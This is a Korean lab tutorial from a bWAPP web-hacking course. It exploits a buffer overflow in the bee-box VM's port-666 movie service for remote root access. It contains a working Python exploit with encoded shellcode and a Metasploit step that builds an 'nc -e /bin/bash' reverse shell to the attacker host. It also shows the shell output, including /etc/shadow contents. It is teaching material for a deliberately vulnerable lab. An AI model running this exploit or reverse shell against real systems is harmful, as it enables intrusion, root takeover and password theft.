웹 해킹 bWAPP - 103. A9 - Using Known Vulnerable Components - Buffer Overflow(Remote)
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Using Known Vulnerable Components
- OWASP Top10 A9 - 알려진 취약점이 있는 구성 요소 사용
- 슈퍼유저 권한으로 운영되는 취약한 라이브러리/프레임워크, 기타 SW 모듈로 인한 데이터 유실 및 서버 권한 획득이
가능한 취약점이다.
2. BOF(Buffer Overflow) 관련 용어
- Buffer : 시스템 연산작업에 필요한 데이터를 일시적으로 메모리 상에 저장하는 공간
- Function : 어플리케이션 실행시 가능 먼저 실행되는 함수, 하나의 Function는 여러 개의 Function을 호출해서 사용 가능
- Return 주소 : 실행 중인 Function이 종료되면 다른 Function을 실행할 수 있도록 참조하는 주소
- Stack 영역 : Function 수행과 Return 주소 정보를 관리하는 로컬 저장소
버퍼 오버플로우

3. Buffer Overflow(Local)
- Function 수행 중 버퍼의 양보다 입력값이 클 경우, 기존의 리턴 값이 덮어쓰기가 되기 때문에 어플리케이션이
중지되거나, 엉뚱한 리턴값을 참조하여 다른 위치로 이동해버린다.
- 그렇기 때문에 공격자는 임의의 위치에 공격 코드 값을 삽입하고, 리턴 주소 값에 공격 코드값이 있는 주소을
삽입하여 오버플로우를 발생시켜 악의적인 코드가 실행되는 취약점이 발생한다.
4. Using Known Vulnerable Components - Buffer Overflow(Remote)
- 이 시나리오는 bWAPP 포트번호 666 취약점과 BoF를 이용하여 리버스 쉘을 통해서 root 권한을 획득하는 내용이다.
Ex1) Using Known Vulnerable Components - Buffer Overflow(Remote)
보안 레벨 선택 및 시나리오 선택

네트워크 서비스 중에 취약점있고 이를 이용하여 BoF를 실시하라는 내용 확인

'nmap'을 이용하여 bWAPP 스캔 실시
|
root@kali:~# nmap -sS -sV 192.168.20.205
Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-27 20:10 KST Nmap scan report for www.bwapphttpslow.com (192.168.20.205) Host is up (0.000077s latency). Not shown: 983 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES) 443/tcp open ssl/http Apache httpd 2.2.8 ((Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES) 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open shell? 666/tcp open doom? 3306/tcp open mysql MySQL 5.0.96-0ubuntu3 5901/tcp open vnc VNC (protocol 3.8) 6001/tcp open X11 (access denied) 8080/tcp open http nginx 1.4.0 8443/tcp open ssl/http nginx 1.4.0 9080/tcp open http lighttpd 1.4.19
~ 중간 생략 ~
|
포트 번호 666으로 텔넷 접속 및 'iron'으로 로그인 실시 -> 영화 매칭 정보 확인
|
root@kali:~# telnet 192.168.20.205 666 Trying 192.168.20.205... Connected to 192.168.20.205. Escape character is '^]'. iron *** bWAPP Movie Service *** Matching movies: 1 Iron Man:2008:Tony Stark:action:tt0371746 Connection closed by foreign host. root@kali:~# |
메타스플로잇을 이용하여 BoF Payload 생성
|
root@kali:~# msfconsole -q
msf > use linux/x86/exec
msf payload(linux/x86/exec) > set cmd nc -e /bin/bash 192.168.20.50 4444 cmd => nc -e /bin/bash 192.168.20.50 4444
msf payload(linux/x86/exec) > generate -b '\x00' -e x86/opt_sub -t raw -f remote_bof.txt [*] Writing 317 bytes to remote_bof.txt...
msf payload(linux/x86/exec) > quit root@kali:~# root@kali:~# ls -l remote_bof.txt -rw-r--r-- 1 root root 317 2월 28 10:44 remote_bof.txt
root@kali:~#
|
103-0. remote_bof ASCII 16진수 변환 명령어.txt
Payload ACSII 16진수 변환 실시
|
root@kali:~# { echo -n \'; cat remote_bof.txt; echo -n \'; } | perl -pe's/(.)/sprintf("%%%02X", ord($1))/seg'
%27%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
root@kali:~#
|
103-1. 'remote_bof.py' 설정 내용.txt
Payload 배열을 위한 'remote_bof.py' 파일 생성
root@kali:~# vi remote_bof.py
|
import socket
A354 = '\x90' * 354 ret = '\xa7\x8f\x04\x08' shellcode = '\x54\x58\x2D\x79\xFC\xFD\xFD\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x5C\x25\x01\x01\x01\x01\x25\x02\x02\x02\x02\x2D\x75\x1C\x30\x7D\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x53\xDF\x74\x2B\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x12\xCA\x20\x1D\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xEE\x03\xFD\x01\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xF8\xF3\x04\xFC\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xFB\x03\xFE\xFE\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xC4\xC7\x0B\xFE\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x03\x37\xBC\xCD\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x4C\xFE\xFD\xF5\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xBB\x0C\x33\x02\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x61\x1E\x2B\xF5\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x1B\xAB\x15\x48\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x7F\xE7\x77\x98\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xF8\x66\x04\x58\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x7F\x95\x36\xBA\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x7D\x39\xCA\xE7\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\x0E\x92\x0E\x21\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50\x2D\xC6\x06\xE6\x58\x2D\x01\x01\x01\x01\x2D\x01\x01\x01\x01\x50'
payload = A354 + ret + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "\nSending evil payload..." s.connect(('192.168.20.205',666)) s.send(payload) data = s.recv(1024) s.close()
:wq! |
칼리에서 리버스 쉘 Listen 상태 실시
|
root@kali:~# nc -n -v -l -p 4444
listening on [any] 4444 ...
|
'remote_bof.py' BoF 실행
|
root@kali:~# python remote_bof.py
Sending evil payload...
|
칼리에서 리버스 쉘 연결 상태 및 Root 권한 확인
|
root@kali:~# nc -n -v -l -p 4444 listening on [any] 4444 ... connect to [192.168.20.50] from (UNKNOWN) [192.168.20.205] 36032
whoami root
pwd /
id uid=0(root) gid=0(root)
python -c 'import pty;pty.spawn("/bin/bash")'
root@bee-box:/#
root@bee-box:/# cat /etc/shadow cat /etc/shadow root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7::: daemon:*:13991:0:99999:7::: bin:*:13991:0:99999:7:::
~ 중간 생략 ~
root@bee-box:/# (Ctrl+c) root@kali:~#
|
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 103. A9 - bWAPP Using Known Vulnerable Components - Buffer Overflow(Remote)
https://youtu.be/9NOe1XSkdJ8